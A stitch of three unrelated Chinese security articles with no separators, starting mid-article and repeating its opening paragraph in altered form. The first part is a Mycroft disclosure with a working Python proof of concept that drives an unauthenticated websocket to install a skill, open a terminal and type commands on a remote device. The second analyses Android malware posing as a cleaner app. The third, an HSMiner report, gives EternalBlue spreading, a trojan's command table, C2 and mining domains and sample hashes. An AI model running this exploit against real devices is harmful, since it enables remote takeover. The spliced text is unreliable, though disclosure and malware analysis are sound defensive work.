有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL未被一些在线网站白名单化。这虽然有可能,但多少有些麻烦。ccc.gif

测试实现

有了以上技能元素之后,我就可以创建一个恶意技能,当它被触发之后,就可以在远程Mycroft设备上来执行任意代码了。但遗憾的是,这样的方式并不能通过语音命令来实现,除非其技能链接URL是一些未被白名单化的在线网站。这虽然有可能,但执行起来多少有些麻烦。

Mycroft 内置了很多默认技能,如 open 这种能打开其它第三方应用的,还有一些经过白名单化但未被安装在Mycroft设备上的技能。通过再次研究,我发现了一个名为skill-autogui的有趣技能,它的主要功能是对鼠标键盘的控制,好吧,我们就用它来试试!把所有以上可利用的发现组合成一个PoC:

#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
           
 await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, 
\"type\": \"recognizer_loop:utterance\", \"context\": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())

pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 命令运行exploit代码之后,就能在一台远程Mycroft设备的Linux系统上执行命令:

PoC.gifNotes:

open xterm:由于我的测试用Linux是桌面版的,所以,远程测试机也是直接通过终端TTY来执行的;

目前Mycroft的技能分支包存在一个比较大的变化包括autogui在内的一些技能是暂不可用的,但这不是重点。Mycroft的许多技能可于智能自动化家居系统进行交互,所以,它的其它服务或许也存在可被控制利用的可能。这个漏洞的关键在于,其中websocket服务端缺乏必要的身份验证。

漏洞影响设备

所有搭载有Mycroft,且websocket服务端暴露在网的设备(Mark-I代应用的websocket接口默认在防火墙之后)

漏洞报送进程

08/03/2018  漏洞发现

09/03/2018  漏洞上报

13/03/2018   Mycroft技术总监答复称他们已经注意到该漏洞,并将及时修复

06/06/2018  Mycroft技术总监回复称漏洞修复完成,并会警告 Mycroft用户配合防火墙使用

09/06/2018  漏洞公开

*参考来源:github,Freebuf clouds 编译,转载请注明来自 FreeBuf.COM

一、导读

手机早已成为人们生活中不可或缺的一部分,在娱乐,移动支付,社交等方面都起到举足轻重的作用,可以说在当今社会手机就是人们重要的“生存”工具之一。但是在享受时代带给我们的福利的同时,一些“不怀好意”的人们也伺机而动,用各种非法的手段从众多的网民身上谋取利润,因为这些人的存在,严重的损害了普通人的利益,无论是去年爆发的勒索病毒,还是今年的银行木马,这些安全事件都应让我们警醒,在互联网时代我们还有很多事要做,我们的安全道路任重而道远。

二、病毒威胁介绍

2.1 一不小心你就中招

近日,平台监测到一款新型病毒,经过安全人员研究,发现其伪造成正常内存清理软件,在点击后隐藏图标,转入后台运行,上传用户信息,下载执行恶意插件,对用户信息安全造成极大威胁,为了保护广大网民的安全,对此病毒和服务器地址进行了上报处理,在根源上断绝病毒的传播。

2.2 你的手机如何成为了病毒的温床?

该病毒仿照正常手机清理软件,混淆视听,欺骗用户下载,并且在运行后隐藏图标转而后台运行。应用运行状态,如图2-1,图2-2所示:

image.png

图2-1 应用安装状态

image.png

图2-2应用运行状态

2.2.1 隐藏图标

通过包管理器设置图片隐藏,如图2-3所示:

image.png

图2-3隐藏图标

2.2.2 软件后台驻留运行

通过接受广播启动服务,如图2-4,图2-5所示:

image.png

图2-4接受广播形式

image.png

图2-5广播开启后台服务

在Android版本5.0以上该样本则采用了JobSchedule机制进行后台进程保活,如图2-6所示:

image.png

图2-6JobSchedule机制后台进程保活

2.2.3 上传用户数据

病毒在用户不知情的情况下发送数据包,私自获取大量用户设备信息,并且发送到指定url,如图2-7所示:

image.png

图2-7 抓取上传数据包

获取用户设备相关代码信息,如图2-8所示:

image.png

图2-8获取用户设备相关信息

上传数据包中的用户设备信息内容(解密后结果),如图2-9所示:

image.png

图2-9 上传数据包信息图

2.2.4 与远程服务器交互

病毒运行过后会向主控服务器发送数据包,然后根据主控返回的结果执行下一步的行动,如图2-10,图2-11所示:

image.png

2-10向主控服务器发送数据包 

抓包得到服务器返回的结果,我们可以大致判断此时病毒主控服务开启,但广告推送的功能属于关闭状态。

image.png

图2-11服务器返回的结果 

结果表明服务正常运行,病毒向URL发送请求,确认下载插件的地址,下载插件,运行插件如图2-12,图2-13,图2-14,图2-15所示:

image.png

图2-12向服务器返回的结果

image.png

图2-13下载插件

image.png

图2-14下载插件

image.png

图2-15运行插件

2.2.5 利用插件化技术隐秘执行

按照常理病毒需要找准时机运行这些插件,但并不是直接在Android系统层直接运行。这里用到了一个最近比较流行的插件化技术。在这个样本中,病毒作者利用了一款开源的多开应用框架VirtualApp,运用此框架可以使得插件的作用效果大大增强,因为此框架使的插件实际是在Android系统与外部应用的中间层运行,插件的运行受系统本身的限制将会减少很多,近似于root的环境给病毒创造了绝妙的温床,而虚拟机的环境又使得静态的病毒检测方法无法生效,提高了查杀难度,结合 VirtualApp的病毒确实可以肆无忌惮做很多事。

VirtualAPP实现程序内部运行大致遵循以下流程,首先代理程序运行所需系统各种服务,使运行程序和VA为合为一体,其次修正应用数据,保存原有数据,然后数据整合在VA中代理运行,最终交于系统执行。

VirtualAPP实现多开应用的大致逻辑如图2-16所示:

image.png

图2-16VirtualAPP多开流程图

该病毒的文件结构以及运行逻辑如图2-17,图2-18所示:

image.png

图2-17应用文件结构

image.png

图2-18病毒运行流程

2.2.6 破坏杀软主动防御

对服务器下发的插件分析,发现存在恶意行为。经过抓包后处理,我们发现程序经过解密最终会生成2个Jar包,如图2-19所示:

image.png

图2-19生成的恶意Jar包

该jar包在运行后会主动破坏系统中存在的主防,并且会重启手机,目前可以确认会被破坏主防的杀软有LBE安全大师以及360的主动防御。

2.3 主控地址功能

  主控地址   功能
  http://api.*****.top:9000/api/channel/cfg?**   确定整个服务的功能状态。
  http://www.*******are/cr/sv/getGoFile?name=goplaysdk_statistics_s250.dat   获取插件下载地址。
  http://hc******day:8082/spdumread/service/rtLogRecord   作为获取设备信息的地址。
  http://alo*****.com/app_logs   基座中包含的友盟统计模块。
  http://hc.s****op/gpfile/pfiles/**   恶意插件的下载地址。

2.4 主控地址追踪

我们只对其服务器域名进行溯源,通过域名的whois查询,获取到的大部分信息都被隐藏,包括注册信息,联系人,公司信息,其中只有一个域名信息较为完整,如图2-20所示:

image.png

图2-20 域名溯源

根据基本信息我们大致知道注册人的基本情况,根据邮箱查找相关信息,查看qq的情况,判断是被盗号过后注册的邮箱,如图2-21,图2-22所示:

image.png

图2-21qq基本信息

image.png

图2-22邮箱相关的百度贴吧号

三、防范及处置建议

建议用户提高警觉性,使用软件请到官网下载。到应用商店进行下载正版软件,避免从论坛等下载软件,可以有效的减少该类病毒的侵害。关注”暗影实验室”公众号,获取最新实时移动安全状态,避免给您造成损失和危害。

为防止病毒变种,用户发现已经安装此病毒的,可以请专业人员分析此病毒。

安全需要做到防患于未然,可以使用恒安嘉新公司的APP威胁检测与态势分析平台进行分析对Android样本提取信息并进行关联分析和检测;

用户发现感染手机病毒软件之后,可以向“12321网络不良与垃圾信息举报受理中心”或“中国反网络病毒联盟”进行举报,使病毒软件能够第一时间被查杀和拦截。

声明

本报告内容不代表任何企业或任何机构的观点,仅是作者及所在团队作为技术爱好者在工作之余做的一些尝试性研究和经验分享。

本报告虽是基于技术团队认为可靠的信息撰写,团队力求但不保证该信息的准确性和完整性,读者也不应该认为该信息是准确和完整的。这是主要是因为如下一些理由(包括但不限于):

第一,互联网的数据无处不在,我们所能接触到的是极为有限的抽样样本,本身不具备完整性。

第二,不同的技术方法获取的数据有一定的局限性。比如,终端agent获取的数据只能涵盖已部署终端的范围;爬虫技术的时效性和完整性受限于爬虫的规模和能力;网络侧探针技术受限部署探针的节点数量并只能对活跃的行为进行感知。

第三,即使已经纳入到分析范围的样本,也会由于技术团队规则和算法的选择造成统计结论偏差。

第四,技术团队所得出的结论仅仅反映其数字本身,进一步主观得出优劣性的、排名性的、结论性的观点是危险的。因为安全事件往往伴随着业务的良性增长,开放程度,法律法规以及黑色产业链的演进等多方面的因素,是一个复杂的生态问题。

此外,团队不保证文中观点或陈述不会发生任何变更,在不同时期,团队可发出与本报告所载资料、意见及推测不一致的报告。团队会适时更新相关的研究,但可能会因某些规定而无法做到。

最后,即使未经作者的书面授权许可,任何人也可以引用、转载以及向第三方传播。但希望同时能附上完整的原文或至少原始出处。这样的考虑在于:第一,避免选择性的部分引用造成的不必要的误解;其次,避免某些内容的错误经原作者发现并及时调整后没有体现在转载的文中。

感谢大家的理解!

* 本文作者:暗影安全实验室,转载请注明来自FreeBuf.COM

背景

永恒之蓝漏洞自从2017年4月NSA黑客工具公布之后,越来越多被用于非法网络活动。从勒索病毒WannaCry、NotPetya,到挖矿病毒Powershell Miner、NrsMiner无不利用这一工具大肆活动。

而在近日,360企业安全天擎团队监测到一种新的利用NSA黑客工具进行传播的挖矿病毒(挖取XMR/门罗币),该病毒家族在最近两个月内进行了疯狂传播,数月时间就通过挖矿获利近百万人民币。因其挖矿安装模块名称为hs.exe,我们将其命名为HSMiner,该病毒主要利用永恒之蓝、永恒浪漫漏洞进行传播,除具有挖矿功能外,还具备远控木马功能:

image.png

样本分析

360企业安全天擎团队对该样本进行了详细分析,样本功能主要分为传播、挖矿和远控三大模块。病毒会通过判断运行时的本地互联网出口IP所在地区来获取攻击者事先准备好的对应地区的IP地址列表进行SMB漏洞利用传播,并开启挖矿(XMR/门罗币)和远控功能以实现敛财和长期控制受害者电脑的目的。

传播模块

病毒的传播模块在运行时,通过访问 http://2017.ip138.com/ic.asp 获取本地互联网出口IP所在地区,根据IP所在地复制事先准备好的全国按地区划分的IP地址表(见图1),比如IP所在地是北京(见图2),则拷贝北京的IP地址列表至待扫描目标地址表。然后依次扫描这些地址的445端口,对445开放的主机进行攻击,攻击工具为2017年4月泄露的 NSA永恒之蓝、永恒浪漫黑客工具,攻击成功的计算机将被安装后门,最后通过该后门加载Payload下载安装挖矿程序包。

image.png

图1 按地区划分IP地址列表

image.png

图2 北京地区部分IP地址列表

image.png

图3永恒之蓝、永恒浪漫攻击脚本

永恒之蓝、永恒浪漫攻击成功后会植入一个payload模块,该模块将被注入在系统lsass.exe进程中运行,部分代码如下:

image.png

图4 漏洞植入Payload 代码

该代码主要用于下载病毒完整程序包,下载文件随后更名为”C:\qwa.exe” 并运行安装,简单粗暴。

传播模块最终采用 Windows第三方服务管理工具被安装成为一个系统服务常驻系统运行:

image.png

图5 安装传播服务模块

挖矿模块

挖矿模块的安装包是一个Winrar自解压程序,文件名称为hs.exe。解压包内容如下:

image.png

图6 HSMiner挖矿自解压程序

自解压后执行脚本wx.bat:

image.png

图7 安装HSMiner挖矿服务

如上图所示,通过第三方服务管理工具windows.exe将挖矿程序iexplorer.exe以服务形式安装在计算机中。

我们在分析中还发现该家族存在多个变种,其中部分变种有黑吃黑现象,也即这些变种在挖矿前,会将其他挖矿、勒索、木马等病毒来一次大扫荡,以便于自身不被其他病毒影响从而更好地利用系统资源进行挖矿,如下图所示为部分脚本:

image.png

图8 清理其他挖矿、勒索、木马等病毒

挖矿程序本身是在开源程序xmrig基础上编译而来,如下图所示为程序命令行参数说明:

image.png

远控木马

HSMiner带了一个远控木马,该木马采用 VC 编写,运行后释放一个 DLL 文件,并将该DLL注册为系统服务运行。

从资源释放一个DLL文件:

image.png

image.png

通过读取注册表判断是否安装有360安全卫士:

image.png

如果安装有360安全卫士则退出执行,否则调用WinExec来运行rundll32.exe,通过这种方式加载运行dll:

image.png

调试查看实际运行命令行:

image.png

命令行如下:

rundll32 "C:\windows\kuai4394495.dll",ServiceMain

释放的 DLL 是木马母体程序。该DLL程序首先解密自身数据,如下是部分截图:

image.png

接着注册一个svchost共享进程服务:

image.png

最终该服务在注册表中效果如下:

image.png

image.png

接着分析服务入口主程序ServiceMain:

首先创建线程,遍历进程是否有DSMain.exe(进程名以倒序排列,该进程为360安全卫士在查杀病毒时启动的杀毒模块),如果发现该进程,样本会删除自身创建的服务注册表:

image.png

image.png

接着解密自身一段数据:

image.png

wxlinux.top 即是该木马通讯的 C2 服务器,尝试连接C2服务器:

image.png

成功连接服务器后,则会创建线程与服务器进行通讯:

image.png

当与服务器建立通讯后,会尝试获取计算机配置信息,包括处理器核心数、cpu频率、内存使用百分比等,并且会尝试遍历进程,查询是否有杀软进程或者指定的进程:

image.png

image.png

将数据发送给服务器:

image.png

设置全局钩子, 用来记录键盘输入数据:

image.png

将数据进行异或加密后保存到指定的文件:

image.png

木马采用tcpip协议与服务器进行通讯,当接收到数据后,会进行解密,然后根据命令执行对应的功能,限于篇幅,各功能这里不一一分析,以下列出该木马命令协议:

命令id 功能
0×1 收集系统盘符信息以及剩余磁盘空间
0×10 负责截屏以及键盘鼠标控制
0x1A 控制摄像头获取视频信息
0x1F 读取键盘输入数据记录的文件
0×22 音频录制
0×23 遍历系统进程信息发送给服务器,以及结束指定进程
0×28 启动cmd执行病毒服务器指定的命令
0x2A 提升关机权限
0x2B 删除自身服务
0x2c 通过服务器返回的指定url下载pe文件并执行
0x2E 清除系统日志
0×30 调用shellexcuteA启动指定进程
0×35 遍历窗口信息以及查询指定进程是否存在
0×86 创建windows用户帐户
0×85 设置指定注册表键值

溯源分析

测试样本

通过360威胁情报中心的大数据分析平台,我们关联到一个攻击者的测试样本:

样本MD5 65b148ac604dfdf66250a8933daa4a29
PDB路径 E:\有用的\Projects\Dllhijack\Dllhijack\Release\Dllhijack.pdb

之所以说是测试的样本,是因为该DLL加载入口处包含MessageBox函数:

image.png

该测试样本的编译时间为:2017年6月23日:

image.png

同源样本

360威胁情报中心根据该测试样本的静态特征继续关联到了600多个同源样本(MD5见IOC节)。经过分析鉴定发现这批同类样本应该是利用生成工具,使用配置器修改生成的:

image.png

一致的代码结构和字符串信息:

image.png

image.png

image.png

image.png

目标和受害者分析

攻击时间

根据360网络研究院的全网数据抽样统计,对攻击者挖矿的矿池域名a.wxkuangji.com 的大量访问主要集中在2018年5月和6月,也就是说该病毒家族在最近两个月进行了疯狂的传播并大肆敛财:

image.png

挖矿统计

该挖矿病毒在不同变种中使用了多个钱包,如下为部分钱包地址:

image.png

钱包地址

其中一个地址很活跃,以下是最近一个月的挖矿统计:

image.png

截至目前,以上钱包累计挖矿近 882 XMR,加上其他钱包共约 1000 XMR。查看最新的XMR/门罗币价格可以推算,该团伙在数个月内就疯狂敛财至少近百万人民币:

image.png

地域分布

继续基于本次挖矿病毒访问的矿池地址a.wxkuangji.com域名解析数据统计结果进行分析,分析结果显示全国多个地区均被感染了该类病毒,并且江苏和广东这两大发达地区是本次攻击的重点区域:

image.png

总结及建议

由上述分析可见,HSMiner挖矿病毒采用简单有效的方式进行传播,并附带了成熟完备的远控木马,从分析可见该病毒背后团伙应该是国内近段时间较为活跃某黑产组织。其挖矿获利已经接近1000XMR(近百万人民币),值得我们提高警惕,防患以未然。

目前360安全卫士/天擎都能对本次攻击中使用的恶意代码进行查杀,360威胁情报中心提醒各企业用户,尽可能安装企业版杀毒软件,如有需要,企业用户可以建设态势感知,完善资产管理及持续监控能力,并积极引入威胁情报,以尽可能防御此类攻击。360企业安全的天眼高级威胁检测系统、NGSOC及态势感知系统已能全面基于威胁情报发现企业网络中历史上已发生或进行中的这波攻击,如发现被攻击的迹象请立即启动应急预案或联系360安服团队协助处置。

image.png

IOC

矿池地址
a.wxkuangji.com
URL
wxkuangji.com:520
wxlinux.top:520
PDB路径
E:\有用的\Projects\Dllhijack\Dllhijack\Release\Dllhijack.pdb
C&C服务器
wxlinux.top
MD5
039751583a138400d245a83d888fb3f9
09fe3cf1d038e65953c567ca7144f598
1aebb0489a25d699720d88f253966d3f
3b5284602e94df2f00dceca9c56bc136
468250f2c7875595cd451c8d9b071e17
54cf120baa08f1f809f5e207f0534679
69e8ade1c8b0cf2475b0c52b56ec317a
77ea6ab3f24909451028b6bb68594bd8
a394f6f7cd3ddc032414097a7ab13f60
bdd24b361c4ff64d3937bb4213721d70
bec1cea6a675b49882db9b68fb3571aa
cfef353aea617ab4aaf13c6dd57be3f7
ddb6f533583fdf656004824d19911ede
ea669d554f0123937bd4872bfd2a63b4
f0651c2198bfe63a08528ce0d34c9049
f9c95fbe57f3e5ebc47e166c55706617
03fdadada0921316cd86e3cd61f98b30
2437dceb11e863647c6698afbd38295d
251f83d0aa81e18ef03ca41f58018a79
4163539fae2ffdcd4b60699007df74f6
55dc95e874fedbf31f625ee9884b46f5
5cbed7ab8b5f6bf41bf207207cfa267f
60351ac08de4e1a27457407f3883b083
6ca039e35b0700b6c38030539503710c
6da351894909450639f5c3a274876e1a
7b1518c06ca77931e5a61f635ae2e881
7f0990ad82a4fc4e4b01fdef64bde707
99881b2022e0ccb5a090f42330379a8c
d402a924705a8a89faeb951014e6ecad
dd0e626a07a29573031a65442b0a61c9
e3dbc3c7c73e87fb9a229a1672d936cc
00747515b6c66aa859eaf05278cd9dfd
00efa2f808ab887199d53140c5569010
01a848e4c4a35e71c759fedabd8450ef
022e9b64ad87e2205f907eb9fcf37f44
0266b4b5aedef2b8fc9ec325c105c0e3
034756ac6b60a88ad68f7d2b61b9a7d2
03b687e429c2c427f98953b709756e9c
052dffd102eb26a9b89345916901e37f
05fef829d22271c8d9773d03ce846758
07ade45bf46a5e07bf63206f0522f6b0
08d608616144c9e39de951c4ad7957fc
09650a51d80391d91bcd088604fc2903
09b6340e8ab29825933ed27df23a6d7a
09bcc2a81fe79da2a4416a3835b6d361
0a0dfcd37a4a07e3765a88805a21a9d7
0ba0077b9d5e9641e57bd2503854131b
0c7bac31dfa3299f6762dc92341376a1
0c7e5e7cc6c8ee9c5e4010fe21ce0845
0d38e7801317684d679cf3aeeecc3a3b
0e99f6cf352325d9804e418ded7308f4
0f332a92641aed69ead020bd5fd32a62
11f1fa8f709bd9fb0a4e584b21563787
147554589e6a4fd66113088a301821ab
14acc7c34d452eabff73197ee9764093
1505aa1c5244adcb3d9fce46fe209217
153d75d7f4ae2293ef50227bc9228bd3
1693c1077a7527da13c8aae5321bacd0
16ee2f8660a6ea711a7b089cc5ff2625
176f234429eedb0071dbbe5a95e6c4ff
189f19dfcfe97897c7f2954d21ea0a10
191050e44eb98e12cefc9ea0857653bc
19c843a8591e6a13dd747b263d286cf7
1a70527eb8af62926ed0cbb42ffddfcd
1a83413acd5f410617ba3c1a7bd10733
1c0b49f4ce6df50b07085205377628d7
1c4f770d8aca1cef9831b51816799554
1d367624d4b8d90d24dcf8976be1ff7f
1d4f09dcb71490c19751fe2041ff1a84
1d52d1ef6a869b95f992226227244f44
1d986858c18d0ea45226eb993fd74542
1de27225212edf5aa7a0caa07fe27e0b
1e0b5c60667675b899de4903836c06e0
1f50661d00c6fe20f50142546d72cb06
200795664dd9e0c11371447359b02c6e
2098d4f069b0896c57040d98f8ea4fee
210e0fc416261ab06daf46ebaae3ff85
213066f73b0bffb5e11390ccb3a9c208
22417f1b6c3f4f3630f1e88720fac365
22a3f781c23a6aef751c1395feaa4409
2331b75e0e703d5a5bdcb62cacc0d222
23d10faa9c254fc3ee1779181c6543ba
24b08bb8ca946f69e35ab1eca43fc393
24e569968ba2d4d7d706a853e2221853
25bd61c652a8cb0e264c957b332fd350
2789b157ff4900c6765e563e966afc8e
27afc3ec383281f2128b1a920b7cf326
27dd38a7b280fc44120023da2e4b3b78
29cddaf3e1d6640bc90eaec424f22cfe
2a0de97578f2633f18b1cbafef24fe99
2b5241c3e3d53e4deb2962f807c9b117
2c5f21610b619868e9462a9244451348
2dcebc9337ea5d836a8803d5f2c152f6
2e147efd5c9738451f63e1ca91e2c16f
2e779f4c96ecacb966f312c45fdf4ba8
2f006597ecc84a0f7bb91fc8b4a56b09
2f21e086e7805899a488d8c2a40dae1a
3183e76f5c44ea88be9870ce83740b8e
349421e130b411fd3d74aca4f1da8df7
34c9c1c0e3947e59e9740b494ee74a86
34cd86a952b3fb88a8b2c1e16c8b1d84
3507524700b1c018a3517eacb5b66ff1
3638c873989aa2a5240e3bfc55506a6c
36d6dbcf0c664cfb3d31438873eb5e0d
37026cc35b9e0fca6a1610368239d2a6
378e5d520b5b38e7c9435e5ba0fab254
3882e87616d82ccc1ac584e0ed966ec6
3900efbfde10810157494cfbfeb8fbe6
39baae664401c6e0b8ebc5b098f981dc
39c8bdfca5429096dba4faa687cb3152
3a8aed91249940b1758c3d13fc78cbd7
3b37db8db278bc20a1133aae9e12d3b9
3b645ad913df27648af76317ceb52608
3be8c33ddef5116cd494196883bb141a
3c00f08cae2357582ff8ce614ea021ab
3da93d4ddea2e4def4df777ab55c23cd
3ea6eb94ab09a220161035562a54bb06
3f2c9d936aef0fa12984feeed1159f26
4006a8c6472e688de86718b8442c1b3f
40363645b9972e6d06a6fd6f13570ddc
4062da4db16e6b2bd565eb530514e5eb
4105cba523453f28260498bca469aa7f
4113dc1f9d9a28a0eff17068115f5307
41162db61180c8e17aabd00abec8220e
412b6c078aea39515cdcf46a1ad03f52
41ac7388eeee8a9d878362afb97f224f
4224fe934a47c6029cb31dbf9940abfa
431f84876a6e5954c10ff1f22ae01444
4338f4a74088bb637ef015ee78a4d075
460fba75f12ef28f783b91d717203adb
47b54f5e0d441a2eee7b44806e824a69
48004878751b59ba1d8043ab280a1dfa
481574c6a87cd23a02d881a395a438af
48373c22f618ab575551022d4dce6d40
48c8c2e87e42038eb98a110e6372f80d
49bd327d235b66f0bf71780f44a02d48
4bdbd6621ad0c998c06131b256f63cbd
4be47372856e3038ae4898564261f602
4c3f762c48675c85b3a7ea49d1cadcc7
4cb7a48e5ee705b4361bf3e9b78c4f78
4de25f1b59493aa607a89d60bedcce8f
4e74fb32c113839078b3e650f01b9eb0
4fb308b05fa12a2086e19e01018352a1
4fff9faafa5cd832c0ff34c3312738cc
501b4083a301fd47e66dfa436ffede1d
51e8101cabc27f79c2cac9466a4fd0a1
52122d92d35c9acac9f959623ec1cd5c
52b0aa0cfed17d1ab2a1b521654dd9ac
5394e802e75314f254862486aba7354e
53a8d1f21282ebd4ce9a00d026ccdb85
547e041377ca946e2e32c85e9c3658b6
55ebf9db8cbd83b9ebe50bc21e0afaff
5696acbfe7bd5c5df79c6ba05684395b
576464f8dadaef4d72b98b8ed2bbc494
57c4892dc092007c26e1e6560791d9f1
57cfe9a472d29e6b9139e906ca0faf16
57fdb0e73ea22ae18889b8cc8872d19b
58bf9e5220e8673eb72213937505d72c
5aa35f7210fdb07a6f62824745f8de6d
5ad78aa20bccc74158858c20a468969d
5d97ca5f9ebe34fcaa7e00f89eadc3d5
5f325c43de8ce60df2ae820283febf90
608130343665ee404f757d73d1f20721
60e2fe701b83abbf9c604965257c8ad5
6122b5ac4a3124a44365840ab2544be5
613acea4ffc164b8084321171b788016
633bb932505fc8b557fa76f665aafbf7
635e5758b03696fae440a4c3b317fa61
63b55d5f1fd78f882638d124dba98a15
63c0ba3514c7319f5b36db4456adc18d
64dc87a1960e264b4b7a52310fdcd562
654c483d51c35f1c795b10191cb5998f
65ab0602e8ff95eb000038a321626240
65c317053941db22ccbd1194628d367a
67e7b9d9b39bca0e27087fcf9fe95535
684953af3a9a0cb4f3250556d5945d50
68e60fdc7b8b781b3ab95122db9f3ec0
695287bc55e79ba2fc83b0553a6b33be
6a278894514221b33ad2359e812323d6
6c4239db8bd1e26c44b7173d951505e6
6d73d12c0f072d997c96151625e06ec0
6e2644b186a64353d4ca3c3005e0d8bf
6f15e02e2cfc58f7a0c0d449b438bc84
6f44c1aa9ee3654d9d22bb9563d90160
711ca55c5131848e12fe461c3c95bcd4
718cde7cc631358dfc3ec32d74033283
721ff73641f36d871ac713f20d6d3190
7225812d83730af28ec7ba6160936515
7252014c4947dbf20d3de9a29adbe786
7255b5024d4cedbdafd8d026664ff55b
72e6a7181807056d1dc689e262c1222b
7429b2fde945247378d8e8e5a2d3b994
75706ba5ea70dfd0d4dacd0c24448110
758e8ab2c79709fa2c905b93a650a0a1
76ceccfec1e38b1079a6049f956e961d
771208438859f028a3198516af5bc098
7726809b7dbc1822d26b5a3df66796c2
776f89d28314afaa57cce2c1c76190f0
78430261102b5cf4c3f8d11fe8419349
784d317d25e8957577483f22720a53e1
787562c2b9a5fe3bba021dbe0a12aee3
7891021796300247bba43b62e1720f3f
7899efb90c851044e6be8a98f16f6ee2
78c6cae862f35800ffb271a18198c043
7a6322538092b2edab5e1487bbb22738
7a9e91060f1b05bce638c3122fb51fd7
7aa18fd18a38cfc9029966562a37728b
7b1b69b6f69f16d1cffecddadb0f901d
7b79ec7674a04f60e2961c533556f67f
7bb2b598beb9ccbc05784003c3379097
7e231e7d7e213dc83d8fe5f64e9de97a
7ece755d4108dab4999b9596fbf08a6f
805257a096732df97e1788c87571dc48
80592c5d042f7112d3932034f549fe76
811c6fec21a558f5d3e0e4ab68f64ffe
81e6d731dd51381c65b8904332d17d3e
81fc4bb3ac4035e30e14e300f92d770e
8457ab0f0b44da14e2093fdec7ff2984
8478383829826ca0731b72bc93b7e602
86a74a664f5fd33b5bd51aa4adae6624
86ca76aaa5a84eaa70e8286f1dd3ac34
86d4ec84eefde24da310ed29716f3fdf
86f78c74353cb07ada681cc829d4a6e8
87dbc2800e6332358fe17c68489ffca3
89c1850dfeced283109e8bd29ca11022
89d7cb816f3d39e7c13fba2222c0a33a
8a58b11ae52d7bbda727ab6c58e629af
8b4aefed485adb507fca1148642b8403
8bc30465114f835deeb3a75db6c22a26
8cdbddc66dd270f01029f21716e547a6
8cec2d411c92d46c3231342407a00f5e
8cf107a6adebcc3bf6d47f5062fd17c6
8daa928fa0d201e113851b6dc785f23a
8dd4c2cb4c3f647bf53c71dd9d8df59a
8e4d56e494e0d0699545e32d04845558
8ea6889a805c30a8a8a2d7ecdf78844c
8ed2ad684ade8784d69a00607442c02d
91249c773010d70e4e1d5c7b1e52d3a7
916c5e357a1f733b78cc7a2179a4ab40
92834cb03345b1bc1a62b2406cec7b31
92a4571601a490f1b09d458fbd841cc0
9354040019efdf7947579bdef168e66a
94204d568aafa4d97f1a246b1605ada5
9438f9d2677f7b6a4e5e03e04d7e6f19
94cb8b7a5663755692db81fc29b93d24
950f10dc3279368e98f5dc205b772b9b
95520e171b408e09ccadfff1c44adbab
95799c897c38fa18c23e76aba7a06f9d
962947de6f7d133887f86d08dcec3aff
96f8611612450dcfc25b96e42449ad3e
97b7d2e8f48eb66306f87fc82d3cf098
97f476ab771360f512c5bd07df0adfd7
9889a52a34ac693cd61107d6453bddf3
9946002c6bbd130d2593619b71cf0851
996f5ce52d9d13300241d6ee0ee866a5
99fa29a691bd1bc3f3af14e2ef9d7749
9a17132e3e61b6b815121f98dcc56671
9c47d4189e2ea3ea3ad4f8611d117c71
9d25680ad32c8f556610318aaea0afe3
9d665b94ec8423935bcf5c55479ac9eb
9dff058efd140cd45a1cae2db4ea94d7
9e7e1e9ed22412f88fc3a43605453bf2
9ea3342d222667e8fc3e0b18b55cfa26
a039f2fdac21ca5a4d32a0d4c08bd4f5
a178dd5528157854f4e90ebda05d7a6c
a339b4df597fd9c30b3c7eb4d972d64e
a487c3b5ea65209036f8939501c64a2c
a4f9f7ed426dc27d2a5fc2103e845a22
a51e0d7071061912b79c3eede350d8e7
a6d0d834811e7a0b96cd4a12744b3386
a7ee6af50058f5eb29607e90bed6236b
aa3b464e9343a4c50c342cd279d0fb8e
abf18e41b2aceb8635dd3b49810b7e94
ac1ee238aab58cae9a47320ec5e931f5
ac66b63881479e78af9d1b01f3b19c24
ac8f284c865414da42ff8ecceee78c07
ad0fd28354ec7c2ff033c06e87fad462
ad8d085adf452e1553df1eed9df6c330
af0e42f51a5b295f5f761b799ebe7d8e
af25a812a9120b01f6e618d241ec2d86
af69145a2e575c4dc8d4dd5607e41348
b158c96b0d1e2a42cb596dff016844e3
b2db040c5d5ba0907837c716e3e55d3e
b2f9b68a6192285a6be599aa7a88c060
b2fe84689c507fe037cdaf33c4b41578
b4b0cc651a31bef5e5ececd4943a2bd3
b638060028cf0d5b522488be3768e203
b7690b23bb6eadbd8221945f65615a54
b7f910e180e19276b0bfa20b644f34dc
b80de61d366cb9a22f57cee41da068be
b869e6519ff036540458c515a1f89943
b8762be7b405806e15b3170ac92960e4
b9702d001fd32ac49f927fd0748fc0bf
b978c5c6be4594b73c87f7b6fcbea9dc
bbd8c0b492e0bd47992b953521549ebf
bccf8b390c3bcec9144f4bc1c31ef6b9
be4e5774c3cbb7509c3bdce9f9edfd7e
be829d10bef0fc25e2f2462703fc586e
bf0118c897e527c60abaadc2bcc3026b
bf444fc1cdced9c0e15a5f896c1ddf63
bfe3206e4d8f2372dad6643242d259f4
c0268ab8fa8835021b698731c32c7e0b
c1608f88d2c55ee067277f40e4a560e4
c1682769e2fc58932c608137ab8acaa0
c20d1995029d05289ce8d64ad513ae5c
c2c14b942de3d9003f1676684e0f884c
c2eacc60dc4e6c3d815f6656dc15e4f2
c32622c2cbe9a5f1fda79f53041c1242
c3839655aefe78255f318c4a1dd5da01
c3a161fec5b35866a4940666c3d5bb9e
c60d9bfaf132fb27729ea8507197ab2c
c636eb47612619f41d62607583668e99
c6687c529871a293a69409d1a28fb727
c75af018d32c8284cbaea934626a5b88
c7cf253adf239976276c9d1fbc1afd97
c81dd88ed6efce903f482da3d123eff0
c942ed08aa4c845ffcfe7e7f0ef54f6c
ca755d4397aa43a255cac085c6a6d873
cacf3e208e8d45ac7795a71e903354b8
cb92101fcb0d12142528688d4ae9be61
cbf7bd59bac49c92527a9142de09207a
cd8a0f44e783b76019e8ca702b2bab43
cdc9a062557135c01fa67dc1289b90d1
ce2c5fac7812c5ae36e49fabd4e2a2e4
ce39cb7febad6ab8432ab3db5b12e83e
cf74fdcb55d271dd42804b59e74f6dc4
